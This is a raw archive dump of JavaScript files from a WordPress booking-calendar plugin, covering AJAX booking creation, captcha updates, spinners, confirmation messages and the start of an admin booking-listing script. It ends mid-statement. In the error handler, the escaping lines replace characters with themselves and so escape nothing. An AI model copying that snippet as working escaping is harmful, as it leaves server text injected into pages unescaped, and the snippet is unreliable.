wpbc_media_file_frame.on( 'content:create:{mode}', function() { alert('{region}:create{mode}'); } ); // Fires when a region is ready for its view to be rendered. wpbc_media_file_frame.on( 'content:render', function() { alert('{region}:render'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:render:{mode}', function() { alert('{region}:render{mode}'); } ); // Fires when a new mode is activated (after it has been rendered) on a region. wpbc_media_file_frame.on( 'content:activate', function() { alert('{region}:activate'); } ); // and a more specific event including the mode. wpbc_media_file_frame.on( 'content:activate:{mode}', function() { alert('{region}:activate{mode}'); } ); // Get an object representing the current state. //wpbc_media_file_frame.state(); // Get an object representing the previous state. //wpbc_media_file_frame.lastState(); */ /* // Debuge all events from media Frame! wpbc_media_file_frame.on( "all", function ( eventName ){ console.log( 'Frame Event: ' + eventName ); } ); // Debuge all events from media Frame! wp.media.model.Attachment.get( "collection" ).collection.on( "all", function ( eventName ){ console.log( '[Collection] Event: ' + eventName ); } ); wp.media.model.Attachment.get( "models" ).collection.on( "all", function ( eventName ){ console.log( '[models] Event: ' + eventName ); } ); wp.media.model.Attachment.get( "views" ).collection.on( "all", function ( eventName ){ console.log( '[views] Event: ' + eventName ); } ); */ // Open the modal. wpbc_media_file_frame.open(); }); }); create_booking.js 0000666 00000066772 15165576545 0010126 0 ustar 00 "use strict"; // --------------------------------------------------------------------------------------------------------------------- // A j a x A d d N e w B o o k i n g // --------------------------------------------------------------------------------------------------------------------- /** * Submit new booking * * @param params = { 'resource_id' : resource_id, 'dates_ddmmyy_csv' : document.getElementById( 'date_booking' + resource_id ).value, 'formdata' : formdata, 'booking_hash' : my_booking_hash, 'custom_form' : my_booking_form, 'captcha_chalange' : captcha_chalange, 'captcha_user_input' : user_captcha, 'is_emails_send' : is_send_emeils, 'active_locale' : wpdev_active_locale } * */ function wpbc_ajx_booking__create( params ){ console.groupCollapsed( 'WPBC_AJX_BOOKING__CREATE' ); console.groupCollapsed( '== Before Ajax Send ==' ); console.log( params ); console.groupEnd(); params = wpbc_captcha__simple__maybe_remove_in_ajx_params( params ); // Start Ajax jQuery.post( wpbc_url_ajax, { action : 'WPBC_AJX_BOOKING__CREATE', wpbc_ajx_user_id: _wpbc.get_secure_param( 'user_id' ), nonce : _wpbc.get_secure_param( 'nonce' ), wpbc_ajx_locale : _wpbc.get_secure_param( 'locale' ), calendar_request_params : params /** * Usually params = { 'resource_id' : resource_id, * 'dates_ddmmyy_csv' : document.getElementById( 'date_booking' + resource_id ).value, * 'formdata' : formdata, * 'booking_hash' : my_booking_hash, * 'custom_form' : my_booking_form, * * 'captcha_chalange' : captcha_chalange, * 'user_captcha' : user_captcha, * * 'is_emails_send' : is_send_emeils, * 'active_locale' : wpdev_active_locale * } */ }, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-searcg.php * @param textStatus - 'success' * @param jqXHR - Object */ function ( response_data, textStatus, jqXHR ) { console.log( ' == Response WPBC_AJX_BOOKING__CREATE == ' ); for ( var obj_key in response_data ){ console.groupCollapsed( '==' + obj_key + '==' ); console.log( ' : ' + obj_key + ' : ', response_data[ obj_key ] ); console.groupEnd(); } console.groupEnd(); // <editor-fold defaultstate="collapsed" desc=" = Error Message! Server response with String. -> E_X_I_T " > // ------------------------------------------------------------------------------------------------- // This section execute, when server response with String instead of Object -- Usually it's because of mistake in code ! // ------------------------------------------------------------------------------------------------- if ( (typeof response_data !== 'object') || (response_data === null) ){ var calendar_id = wpbc_get_resource_id__from_ajx_post_data_url( this.data ); var jq_node = '#booking_form' + calendar_id; if ( '' == response_data ){ response_data = '<strong>' + 'Error! Server respond with empty string!' + '</strong> ' ; } // Show Message wpbc_front_end__show_message( response_data , { 'type' : 'error', 'show_here': {'jq_node': jq_node, 'where': 'after'}, 'is_append': true, 'style' : 'text-align:left;', 'delay' : 0 } ); // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable( calendar_id ); return; } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == This section execute, when we have KNOWN errors from Booking Calendar. -> E_X_I_T " > // ------------------------------------------------------------------------------------------------- // This section execute, when we have KNOWN errors from Booking Calendar // ------------------------------------------------------------------------------------------------- if ( 'ok' != response_data[ 'ajx_data' ][ 'status' ] ) { switch ( response_data[ 'ajx_data' ][ 'status_error' ] ){ case 'captcha_simple_wrong': wpbc_captcha__simple__update( { 'resource_id': response_data[ 'resource_id' ], 'url' : response_data[ 'ajx_data' ][ 'captcha__simple' ][ 'url' ], 'challenge' : response_data[ 'ajx_data' ][ 'captcha__simple' ][ 'challenge' ], 'message' : response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ) } ); break; case 'resource_id_incorrect': // Show Error Message - incorrect booking resource ID during submit of booking. var message_id = wpbc_front_end__show_message( response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ), { 'type' : ('undefined' !== typeof (response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ])) ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'warning', 'delay' : 0, 'show_here': { 'where': 'after', 'jq_node': '#booking_form' + params[ 'resource_id' ] } } ); break; case 'booking_can_not_save': // We can not save booking, because dates are booked or can not save in same booking resource all the dates var message_id = wpbc_front_end__show_message( response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ), { 'type' : ('undefined' !== typeof (response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ])) ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'warning', 'delay' : 0, 'show_here': { 'where': 'after', 'jq_node': '#booking_form' + params[ 'resource_id' ] } } ); // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable( response_data[ 'resource_id' ] ); break; default: // <editor-fold defaultstate="collapsed" desc=" = For debug only ? -- Show Message under the form = " > // -------------------------------------------------------------------------------------------------------------------------------- if ( ( 'undefined' !== typeof (response_data[ 'ajx_data' ][ 'ajx_after_action_message' ]) ) && ( '' != response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ) ) ){ var calendar_id = wpbc_get_resource_id__from_ajx_post_data_url( this.data ); var jq_node = '#booking_form' + calendar_id; var ajx_after_booking_message = response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ); console.log( ajx_after_booking_message ); /** * // Show Message var ajx_after_action_message_id = wpbc_front_end__show_message( ajx_after_booking_message, { 'type' : ('undefined' !== typeof (response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ])) ? response_data[ 'ajx_data' ][ 'ajx_after_action_message_status' ] : 'info', 'delay' : 10000, 'show_here': { 'jq_node': jq_node, 'where' : 'after' } } ); */ } // </editor-fold> } // ------------------------------------------------------------------------------------------------- // Reactivate calendar again ? // ------------------------------------------------------------------------------------------------- // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable( response_data[ 'resource_id' ] ); // Unselect dates wpbc_calendar__unselect_all_dates( response_data[ 'resource_id' ] ); // 'resource_id' => $params['resource_id'], // 'booking_hash' => $booking_hash, // 'request_uri' => $_SERVER['REQUEST_URI'], // Is it the same as window.location.href or // 'custom_form' => $params['custom_form'], // Optional. // 'aggregate_resource_id_str' => implode( ',', $params['aggregate_resource_id_arr'] ) // Optional. Resource ID from aggregate parameter in shortcode. // Load new data in calendar. wpbc_calendar__load_data__ajx( { 'resource_id' : response_data[ 'resource_id' ] // It's from response ...AJX_BOOKING__CREATE of initial sent resource_id , 'booking_hash': response_data[ 'ajx_cleaned_params' ]['booking_hash'] // ?? we can not use it, because HASH chnaged in any case! , 'request_uri' : response_data[ 'ajx_cleaned_params' ]['request_uri'] , 'custom_form' : response_data[ 'ajx_cleaned_params' ]['custom_form'] // Aggregate booking resources, if any ? , 'aggregate_resource_id_str' : _wpbc.booking__get_param_value( response_data[ 'resource_id' ], 'aggregate_resource_id_arr' ).join(',') } ); // Exit return; } // </editor-fold> /* // Show Calendar wpbc_calendar__loading__stop( response_data[ 'resource_id' ] ); // ------------------------------------------------------------------------------------------------- // Bookings - Dates _wpbc.bookings_in_calendar__set_dates( response_data[ 'resource_id' ], response_data[ 'ajx_data' ]['dates'] ); // Bookings - Child or only single booking resource in dates _wpbc.booking__set_param_value( response_data[ 'resource_id' ], 'resources_id_arr__in_dates', response_data[ 'ajx_data' ][ 'resources_id_arr__in_dates' ] ); // ------------------------------------------------------------------------------------------------- // Update calendar wpbc_calendar__update_look( response_data[ 'resource_id' ] ); */ // Hide spin loader wpbc_booking_form__spin_loader__hide( response_data[ 'resource_id' ] ); // Hide booking form wpbc_booking_form__animated__hide( response_data[ 'resource_id' ] ); // Show Confirmation | Payment section wpbc_show_thank_you_message_after_booking( response_data ); setTimeout( function (){ wpbc_do_scroll( '#wpbc_scroll_point_' + response_data[ 'resource_id' ], 10 ); }, 500 ); } ).fail( // <editor-fold defaultstate="collapsed" desc=" = This section execute, when NONCE field was not passed or some error happened at server! = " > function ( jqXHR, textStatus, errorThrown ) { if ( window.console && window.console.log ){ console.log( 'Ajax_Error', jqXHR, textStatus, errorThrown ); } // ------------------------------------------------------------------------------------------------- // This section execute, when NONCE field was not passed or some error happened at server! // ------------------------------------------------------------------------------------------------- // Get Content of Error Message var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown ; if ( jqXHR.status ){ error_message += ' (<b>' + jqXHR.status + '</b>)'; if (403 == jqXHR.status ){ error_message += '<br> Probably nonce for this page has been expired. Please <a href="javascript:void(0)" onclick="javascript:location.reload();">reload the page</a>.'; error_message += '<br> Otherwise, please check this <a style="font-weight: 600;" href="https://wpbookingcalendar.com/faq/request-do-not-pass-security-check/?after_update=10.1.1">troubleshooting instruction</a>.<br>' } } if ( jqXHR.responseText ){ // Escape tags in Error message error_message += '<br><strong>Response</strong><div style="padding: 0 10px;margin: 0 0 10px;border-radius:3px; box-shadow:0px 0px 1px #a3a3a3;">' + jqXHR.responseText.replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'") +'</div>'; } error_message = error_message.replace( /\n/g, "<br />" ); var calendar_id = wpbc_get_resource_id__from_ajx_post_data_url( this.data ); var jq_node = '#booking_form' + calendar_id; // Show Message wpbc_front_end__show_message( error_message , { 'type' : 'error', 'show_here': {'jq_node': jq_node, 'where': 'after'}, 'is_append': true, 'style' : 'text-align:left;', 'delay' : 0 } ); // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable( calendar_id ); } // </editor-fold> ) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax return true; } // <editor-fold defaultstate="collapsed" desc=" == CAPTCHA == " > /** * Update image in captcha and show warning message * * @param params * * Example of 'params' : { * 'resource_id': response_data[ 'resource_id' ], * 'url' : response_data[ 'ajx_data' ][ 'captcha__simple' ][ 'url' ], * 'challenge' : response_data[ 'ajx_data' ][ 'captcha__simple' ][ 'challenge' ], * 'message' : response_data[ 'ajx_data' ][ 'ajx_after_action_message' ].replace( /\n/g, "<br />" ) * } */ function wpbc_captcha__simple__update( params ){ document.getElementById( 'captcha_input' + params[ 'resource_id' ] ).value = ''; document.getElementById( 'captcha_img' + params[ 'resource_id' ] ).src = params[ 'url' ]; document.getElementById( 'wpdev_captcha_challenge_' + params[ 'resource_id' ] ).value = params[ 'challenge' ]; // Show warning After CAPTCHA Img var message_id = wpbc_front_end__show_message__warning( '#captcha_input' + params[ 'resource_id' ] + ' + img', params[ 'message' ] ); // Animate jQuery( '#' + message_id + ', ' + '#captcha_input' + params[ 'resource_id' ] ).fadeOut( 350 ).fadeIn( 300 ).fadeOut( 350 ).fadeIn( 400 ).animate( {opacity: 1}, 4000 ); // Focus text field jQuery( '#captcha_input' + params[ 'resource_id' ] ).trigger( 'focus' ); //FixIn: 8.7.11.12 // Enable Submit | Hide spin loader wpbc_booking_form__on_response__ui_elements_enable( params[ 'resource_id' ] ); } /** * If the captcha elements not exist in the booking form, then remove parameters relative captcha * @param params * @returns obj */ function wpbc_captcha__simple__maybe_remove_in_ajx_params( params ){ if ( ! wpbc_captcha__simple__is_exist_in_form( params[ 'resource_id' ] ) ){ delete params[ 'captcha_chalange' ]; delete params[ 'captcha_user_input' ]; } return params; } /** * Check if CAPTCHA exist in the booking form * @param resource_id * @returns {boolean} */ function wpbc_captcha__simple__is_exist_in_form( resource_id ){ return ( (0 !== jQuery( '#wpdev_captcha_challenge_' + resource_id ).length) || (0 !== jQuery( '#captcha_input' + resource_id ).length) ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Send Button | Form Spin Loader == " > /** * Disable Send button | Show Spin Loader * * @param resource_id */ function wpbc_booking_form__on_submit__ui_elements_disable( resource_id ){ // Disable Submit wpbc_booking_form__send_button__disable( resource_id ); // Show Spin loader in booking form wpbc_booking_form__spin_loader__show( resource_id ); } /** * Enable Send button | Hide Spin Loader * * @param resource_id */ function wpbc_booking_form__on_response__ui_elements_enable(resource_id){ // Enable Submit wpbc_booking_form__send_button__enable( resource_id ); // Hide Spin loader in booking form wpbc_booking_form__spin_loader__hide( resource_id ); } /** * Enable Submit button * @param resource_id */ function wpbc_booking_form__send_button__enable( resource_id ){ // Activate Send button jQuery( '#booking_form_div' + resource_id + ' input[type=button]' ).prop( "disabled", false ); jQuery( '#booking_form_div' + resource_id + ' button' ).prop( "disabled", false ); } /** * Disable Submit button and show spin * * @param resource_id */ function wpbc_booking_form__send_button__disable( resource_id ){ // Disable Send button jQuery( '#booking_form_div' + resource_id + ' input[type=button]' ).prop( "disabled", true ); jQuery( '#booking_form_div' + resource_id + ' button' ).prop( "disabled", true ); } /** * Disable 'This' button * * @param _this */ function wpbc_booking_form__this_button__disable( _this ){ // Disable Send button jQuery( _this ).prop( "disabled", true ); } /** * Show booking form Spin Loader * @param resource_id */ function wpbc_booking_form__spin_loader__show( resource_id ){ // Show Spin Loader jQuery( '#booking_form' + resource_id ).after( '<div id="wpbc_booking_form_spin_loader' + resource_id + '" class="wpbc_booking_form_spin_loader" style="position: relative;"><div class="wpbc_spins_loader_wrapper"><div class="wpbc_spins_loader_mini"></div></div></div>' ); } /** * Remove / Hide booking form Spin Loader * @param resource_id */ function wpbc_booking_form__spin_loader__hide( resource_id ){ // Remove Spin Loader jQuery( '#wpbc_booking_form_spin_loader' + resource_id ).remove(); } /** * Hide booking form wth animation * * @param resource_id */ function wpbc_booking_form__animated__hide( resource_id ){ // jQuery( '#booking_form' + resource_id ).slideUp( 1000 // , function (){ // // // if ( document.getElementById( 'gateway_payment_forms' + response_data[ 'resource_id' ] ) != null ){ // // wpbc_do_scroll( '#submiting' + resource_id ); // // } else // if ( jQuery( '#booking_form' + resource_id ).parent().find( '.submiting_content' ).length > 0 ){ // //wpbc_do_scroll( '#booking_form' + resource_id + ' + .submiting_content' ); // // var hideTimeout = setTimeout(function () { // wpbc_do_scroll( jQuery( '#booking_form' + resource_id ).parent().find( '.submiting_content' ).get( 0 ) ); // }, 100); // // } // } // ); jQuery( '#booking_form' + resource_id ).hide(); // var hideTimeout = setTimeout( function (){ // // if ( jQuery( '#booking_form' + resource_id ).parent().find( '.submiting_content' ).length > 0 ){ // var random_id = Math.floor( (Math.random() * 10000) + 1 ); // jQuery( '#booking_form' + resource_id ).parent().before( '<div id="scroll_to' + random_id + '"></div>' ); // console.log( jQuery( '#scroll_to' + random_id ) ); // // wpbc_do_scroll( '#scroll_to' + random_id ); // //wpbc_do_scroll( jQuery( '#booking_form' + resource_id ).parent().get( 0 ) ); // } // }, 500 ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Mini Spin Loader == " > /** * * @param parent_html_id */ /** * Show micro Spin Loader * * @param id ID of Loader, for later hide it by using wpbc__spin_loader__micro__hide( id ) OR wpbc__spin_loader__mini__hide( id ) * @param jq_node_where_insert such as '#estimate_booking_night_cost_hint10' OR '.estimate_booking_night_cost_hint10' */ function wpbc__spin_loader__micro__show__inside( id , jq_node_where_insert ){ wpbc__spin_loader__mini__show( id, { 'color' : '#444', 'show_here': { 'where' : 'inside', 'jq_node': jq_node_where_insert }, 'style' : 'position: relative;display: inline-flex;flex-flow: column nowrap;justify-content: center;align-items: center;margin: 7px 12px;', 'class' : 'wpbc_one_spin_loader_micro' } ); } /** * Remove spinner * @param id */ function wpbc__spin_loader__micro__hide( id ){ wpbc__spin_loader__mini__hide( id ); } /** * Show mini Spin Loader * @param parent_html_id */ function wpbc__spin_loader__mini__show( parent_html_id , params = {} ){ var params_default = { 'color' : '#0071ce', 'show_here': { 'jq_node': '', // any jQuery node definition 'where' : 'after' // 'inside' | 'before' | 'after' | 'right' | 'left' }, 'style' : 'position: relative;min-height: 2.8rem;', 'class' : 'wpbc_one_spin_loader_mini 0wpbc_spins_loader_mini' }; for ( var p_key in params ){ params_default[ p_key ] = params[ p_key ]; } params = params_default; if ( ('undefined' !== typeof (params['color'])) && ('' != params['color']) ){ params['color'] = 'border-color:' + params['color'] + ';'; } var spinner_html = '<div id="wpbc_mini_spin_loader' + parent_html_id + '" class="wpbc_booking_form_spin_loader" style="' + params[ 'style' ] + '"><div class="wpbc_spins_loader_wrapper"><div class="' + params[ 'class' ] + '" style="' + params[ 'color' ] + '"></div></div></div>'; if ( '' == params[ 'show_here' ][ 'jq_node' ] ){ params[ 'show_here' ][ 'jq_node' ] = '#' + parent_html_id; } // Show Spin Loader if ( 'after' == params[ 'show_here' ][ 'where' ] ){ jQuery( params[ 'show_here' ][ 'jq_node' ] ).after( spinner_html ); } else { jQuery( params[ 'show_here' ][ 'jq_node' ] ).html( spinner_html ); } } /** * Remove / Hide mini Spin Loader * @param parent_html_id */ function wpbc__spin_loader__mini__hide( parent_html_id ){ // Remove Spin Loader jQuery( '#wpbc_mini_spin_loader' + parent_html_id ).remove(); } // </editor-fold> //TODO: what about showing only Thank you. message without payment forms. /** * Show 'Thank you'. message and payment forms * * @param response_data */ function wpbc_show_thank_you_message_after_booking( response_data ){ if ( ('undefined' !== typeof (response_data[ 'ajx_confirmation' ][ 'ty_is_redirect' ])) && ('undefined' !== typeof (response_data[ 'ajx_confirmation' ][ 'ty_url' ])) && ('page' == response_data[ 'ajx_confirmation' ][ 'ty_is_redirect' ]) && ('' != response_data[ 'ajx_confirmation' ][ 'ty_url' ]) ){ jQuery( 'body' ).trigger( 'wpbc_booking_created', [ response_data[ 'resource_id' ] , response_data ] ); //FixIn: 10.0.0.30 window.location.href = response_data[ 'ajx_confirmation' ][ 'ty_url' ]; return; } var resource_id = response_data[ 'resource_id' ] var confirm_content =''; if ( 'undefined' === typeof (response_data[ 'ajx_confirmation' ][ 'ty_message' ]) ){ response_data[ 'ajx_confirmation' ][ 'ty_message' ] = ''; } if ( 'undefined' === typeof (response_data[ 'ajx_confirmation' ][ 'ty_payment_payment_description' ] ) ){ response_data[ 'ajx_confirmation' ][ 'ty_payment_payment_description' ] = ''; } if ( 'undefined' === typeof (response_data[ 'ajx_confirmation' ][ 'payment_cost' ] ) ){ response_data[ 'ajx_confirmation' ][ 'payment_cost' ] = ''; } if ( 'undefined' === typeof (response_data[ 'ajx_confirmation' ][ 'ty_payment_gateways' ] ) ){ response_data[ 'ajx_confirmation' ][ 'ty_payment_gateways' ] = ''; } var ty_message_hide = ('' == response_data[ 'ajx_confirmation' ][ 'ty_message' ]) ? 'wpbc_ty_hide' : ''; var ty_payment_payment_description_hide = ('' == response_data[ 'ajx_confirmation' ][ 'ty_payment_payment_description' ].replace( /\\n/g, '' )) ? 'wpbc_ty_hide' : ''; var ty_booking_costs_hide = ('' == response_data[ 'ajx_confirmation' ][ 'payment_cost' ]) ? 'wpbc_ty_hide' : ''; var ty_payment_gateways_hide = ('' == response_data[ 'ajx_confirmation' ][ 'ty_payment_gateways' ].replace( /\\n/g, '' )) ? 'wpbc_ty_hide' : ''; if ( 'wpbc_ty_hide' != ty_payment_gateways_hide ){ jQuery( '.wpbc_ty__content_text.wpbc_ty__content_gateways' ).html( '' ); // Reset all other possible gateways before showing new one. } confirm_content += `<div id="wpbc_scroll_point_${resource_id}"></div>`; confirm_content += ` <div class="wpbc_after_booking_thank_you_section">`; confirm_content += ` <div class="wpbc_ty__message ${ty_message_hide}">${response_data[ 'ajx_confirmation' ][ 'ty_message' ]}</div>`; confirm_content += ` <div class="wpbc_ty__container">`; if ( '' !== response_data[ 'ajx_confirmation' ][ 'ty_message_booking_id' ] ){ confirm_content += ` <div class="wpbc_ty__header">${response_data[ 'ajx_confirmation' ][ 'ty_message_booking_id' ]}</div>`; } confirm_content += ` <div class="wpbc_ty__content">`; confirm_content += ` <div class="wpbc_ty__content_text wpbc_ty__payment_description ${ty_payment_payment_description_hide}">${response_data[ 'ajx_confirmation' ][ 'ty_payment_payment_description' ].replace( /\\n/g, '' )}</div>`; if ( '' !== response_data[ 'ajx_confirmation' ][ 'ty_customer_details' ] ){ confirm_content += ` <div class="wpbc_ty__content_text wpbc_cols_2">${response_data['ajx_confirmation']['ty_customer_details']}</div>`; } if ( '' !== response_data[ 'ajx_confirmation' ][ 'ty_booking_details' ] ){ confirm_content += ` <div class="wpbc_ty__content_text wpbc_cols_2">${response_data['ajx_confirmation']['ty_booking_details']}</div>`; } confirm_content += ` <div class="wpbc_ty__content_text wpbc_ty__content_costs ${ty_booking_costs_hide}">${response_data[ 'ajx_confirmation' ][ 'ty_booking_costs' ]}</div>`; confirm_content += ` <div class="wpbc_ty__content_text wpbc_ty__content_gateways ${ty_payment_gateways_hide}">${response_data[ 'ajx_confirmation' ][ 'ty_payment_gateways' ].replace( /\\n/g, '' ).replace( /ajax_script/gi, 'script' )}</div>`; confirm_content += ` </div>`; confirm_content += ` </div>`; confirm_content += `</div>`; jQuery( '#booking_form' + resource_id ).after( confirm_content ); //FixIn: 10.0.0.30 // event name // Resource ID - '1' jQuery( 'body' ).trigger( 'wpbc_booking_created', [ resource_id , response_data ] ); // To catch this event: jQuery( 'body' ).on('wpbc_booking_created', function( event, resource_id, params ) { console.log( event, resource_id, params ); } ); } bookings__listing.js 0000666 00000045477 15165577005 0010645 0 ustar 00 "use strict"; jQuery('body').on({ 'touchmove': function(e) { jQuery( '.timespartly' ).each( function ( index ){ var td_el = jQuery( this ).get( 0 ); if ( (undefined != td_el._tippy) ){ var instance = td_el._tippy; instance.hide(); } } ); } }); /** * Request Object * Here we can define Search parameters and Update it later, when some parameter was changed * */ var wpbc_ajx_booking_listing = (function ( obj, $) { // Secure parameters for Ajax ------------------------------------------------------------------------------------ var p_secure = obj.security_obj = obj.security_obj || { user_id: 0, nonce : '', locale : '' }; obj.set_secure_param = function ( param_key, param_val ) { p_secure[ param_key ] = param_val; }; obj.get_secure_param = function ( param_key ) { return p_secure[ param_key ]; }; // Listing Search parameters ------------------------------------------------------------------------------------ var p_listing = obj.search_request_obj = obj.search_request_obj || { sort : "booking_id", sort_type : "DESC", page_num : 1, page_items_count: 10, create_date : "", keyword : "", source : "" }; obj.search_set_all_params = function ( request_param_obj ) { p_listing = request_param_obj; }; obj.search_get_all_params = function () { return p_listing; }; obj.search_get_param = function ( param_key ) { return p_listing[ param_key ]; }; obj.search_set_param = function ( param_key, param_val ) { // if ( Array.isArray( param_val ) ){ // param_val = JSON.stringify( param_val ); // } p_listing[ param_key ] = param_val; }; obj.search_set_params_arr = function( params_arr ){ _.each( params_arr, function ( p_val, p_key, p_data ){ // Define different Search parameters for request this.search_set_param( p_key, p_val ); } ); } // Other parameters ------------------------------------------------------------------------------------ var p_other = obj.other_obj = obj.other_obj || { }; obj.set_other_param = function ( param_key, param_val ) { p_other[ param_key ] = param_val; }; obj.get_other_param = function ( param_key ) { return p_other[ param_key ]; }; return obj; }( wpbc_ajx_booking_listing || {}, jQuery )); /** * Ajax ------------------------------------------------------------------------------------------------------ */ /** * Send Ajax search request * for searching specific Keyword and other params */ function wpbc_ajx_booking_ajax_search_request(){ console.groupCollapsed('AJX_BOOKING_LISTING'); console.log( ' == Before Ajax Send - search_get_all_params() == ' , wpbc_ajx_booking_listing.search_get_all_params() ); wpbc_booking_listing_reload_button__spin_start(); /* //FixIn: forVideo if ( ! is_this_action ){ //wpbc_ajx_booking__actual_listing__hide(); jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '<div style="width:100%;text-align: center;" id="wpbc_loading_section"><span class="wpbc_icn_autorenew wpbc_spin"></span></div>' + jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html() ); if ( 'function' === typeof (jQuery( '#wpbc_loading_section' ).wpbc_my_modal) ){ //FixIn: 9.0.1.5 jQuery( '#wpbc_loading_section' ).wpbc_my_modal( 'show' ); } else { alert( 'Warning! Booking Calendar. Its seems that you have deactivated loading of Bootstrap JS files at Booking Settings General page in Advanced section.' ) } } is_this_action = false; */ // Start Ajax jQuery.post( wpbc_url_ajax, { action : 'WPBC_AJX_BOOKING_LISTING', wpbc_ajx_user_id: wpbc_ajx_booking_listing.get_secure_param( 'user_id' ), nonce : wpbc_ajx_booking_listing.get_secure_param( 'nonce' ), wpbc_ajx_locale : wpbc_ajx_booking_listing.get_secure_param( 'locale' ), search_params : wpbc_ajx_booking_listing.search_get_all_params() }, /** * S u c c e s s * * @param response_data - its object returned from Ajax - class-live-searcg.php * @param textStatus - 'success' * @param jqXHR - Object */ function ( response_data, textStatus, jqXHR ) { //FixIn: forVideo //jQuery( '#wpbc_loading_section' ).wpbc_my_modal( 'hide' ); console.log( ' == Response WPBC_AJX_BOOKING_LISTING == ', response_data ); console.groupEnd(); // Probably Error if ( (typeof response_data !== 'object') || (response_data === null) ){ jQuery( '.wpbc_ajx_under_toolbar_row' ).hide(); //FixIn: 9.6.1.5 jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '<div class="wpbc-settings-notice notice-warning" style="text-align:left">' + response_data + '</div>' ); return; } // Reload page, after filter toolbar was reseted if ( ( undefined != response_data[ 'ajx_cleaned_params' ]) && ( 'reset_done' === response_data[ 'ajx_cleaned_params' ][ 'ui_reset' ]) ){ location.reload(); return; } // Show listing if ( response_data[ 'ajx_count' ] > 0 ){ wpbc_ajx_booking_show_listing( response_data[ 'ajx_items' ], response_data[ 'ajx_search_params' ], response_data[ 'ajx_booking_resources' ] ); wpbc_pagination_echo( wpbc_ajx_booking_listing.get_other_param( 'pagination_container' ), { 'page_active': response_data[ 'ajx_search_params' ][ 'page_num' ], 'pages_count': Math.ceil( response_data[ 'ajx_count' ] / response_data[ 'ajx_search_params' ][ 'page_items_count' ] ), 'page_items_count': response_data[ 'ajx_search_params' ][ 'page_items_count' ], 'sort_type' : response_data[ 'ajx_search_params' ][ 'sort_type' ] } ); wpbc_ajx_booking_define_ui_hooks(); // Redefine Hooks, because we show new DOM elements } else { wpbc_ajx_booking__actual_listing__hide(); jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( '<div class="wpbc-settings-notice0 notice-warning0" style="text-align:center;margin-left:-50px;">' + '<strong>' + 'No results found for current filter options...' + '</strong>' + //'<strong>' + 'No results found...' + '</strong>' + '</div>' ); } // Update new booking count if ( undefined !== response_data[ 'ajx_new_bookings_count' ] ){ var ajx_new_bookings_count = parseInt( response_data[ 'ajx_new_bookings_count' ] ) if (ajx_new_bookings_count>0){ jQuery( '.wpbc_badge_count' ).show(); } jQuery( '.bk-update-count' ).html( ajx_new_bookings_count ); } wpbc_booking_listing_reload_button__spin_pause(); jQuery( '#ajax_respond' ).html( response_data ); // For ability to show response, add such DIV element to page } ).fail( function ( jqXHR, textStatus, errorThrown ) { if ( window.console && window.console.log ){ console.log( 'Ajax_Error', jqXHR, textStatus, errorThrown ); } jQuery( '.wpbc_ajx_under_toolbar_row' ).hide(); //FixIn: 9.6.1.5 var error_message = '<strong>' + 'Error!' + '</strong> ' + errorThrown ; if ( jqXHR.responseText ){ error_message += jqXHR.responseText; } error_message = error_message.replace( /\n/g, "<br />" ); wpbc_ajx_booking_show_message( error_message ); }) // .done( function ( data, textStatus, jqXHR ) { if ( window.console && window.console.log ){ console.log( 'second success', data, textStatus, jqXHR ); } }) // .always( function ( data_jqXHR, textStatus, jqXHR_errorThrown ) { if ( window.console && window.console.log ){ console.log( 'always finished', data_jqXHR, textStatus, jqXHR_errorThrown ); } }) ; // End Ajax } /** * Views ----------------------------------------------------------------------------------------------------- */ /** * Show Listing Table and define gMail checkbox hooks * * @param json_items_arr - JSON object with Items * @param json_search_params - JSON object with Search */ function wpbc_ajx_booking_show_listing( json_items_arr, json_search_params, json_booking_resources ){ wpbc_ajx_define_templates__resource_manipulation( json_items_arr, json_search_params, json_booking_resources ); //console.log( 'json_items_arr' , json_items_arr, json_search_params ); jQuery( '.wpbc_ajx_under_toolbar_row' ).css( "display", "flex" ); //FixIn: 9.6.1.5 var list_header_tpl = wp.template( 'wpbc_ajx_booking_list_header' ); var list_row_tpl = wp.template( 'wpbc_ajx_booking_list_row' ); // Header jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).html( list_header_tpl() ); // Body jQuery( wpbc_ajx_booking_listing.get_other_param( 'listing_container' ) ).append( '<div class="wpbc_selectable_body"></div>' ); // R o w s console.groupCollapsed( 'LISTING_ROWS' ); // LISTING_ROWS _.each( json_items_arr, function ( p_val, p_key, p_data ){ if ( 'undefined' !== typeof json_search_params[ 'keyword' ] ){ // Parameter for marking keyword with different color in a list p_val[ '__search_request_keyword__' ] = json_search_params[ 'keyword' ]; } else { p_val[ '__search_request_keyword__' ] = ''; } p_val[ 